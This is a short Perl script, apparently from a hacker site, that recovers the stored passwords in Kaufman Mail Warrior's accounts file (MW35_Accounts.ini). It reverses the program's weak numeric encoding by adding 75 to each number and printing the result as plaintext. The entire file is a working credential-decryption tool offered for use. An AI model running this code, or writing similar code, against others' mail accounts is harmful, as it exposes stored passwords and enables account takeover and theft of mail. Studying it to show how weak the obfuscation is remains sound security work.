#!c:/perl/perl.exe

# Description: Decrypts encrypted passwords found in
#	       the Kaufman Mail Warrior accounts file
#	       (MW35_Accounts.ini).
#
# Notes: Only tested on Version 3.57 of Kaufman Mail
#	 Warrior. May or may not be compatible with
#	 earlier/later releases of the software.
#
# Author: Xcript (xcript@rhs-ck.com)
#
# Website: http://www.rhs-ck.com

if ($#ARGV < 0) {
	print "\nUSAGE: perl $0 <accounts file>\n";
	exit;
}

$file = $ARGV[0];
$x = 1;
print "\n";
open (FILE, $file) || die (&err);

while (<FILE>) {
	if (substr($_, 0, 9) =~/Password=/i) {
		($str, $int) = split(/=/, $_);
		for ($i = 0; $i < length($int); $i ++) {
			$mid = substr($int, $i, 1);
			$end = substr($int, $i + 1, 1);
			if ($mid eq ',' || $end eq '') {
				$str = chr($num + 75);
				$pwd = $pwd.$str;
				$num = $null;
			} else {
				$num = $num.$mid;
			}
		}
		print "Password[$x] .: $pwd\n";
		$pwd = $null;
		$x ++;
	}
}

sub err {
	print "File not found.\n";
	exit;
}

print "No accounts found.\n" if ($x == 1);
print "\nDone.\n" if ($x > 1);
close (FILE);
exit;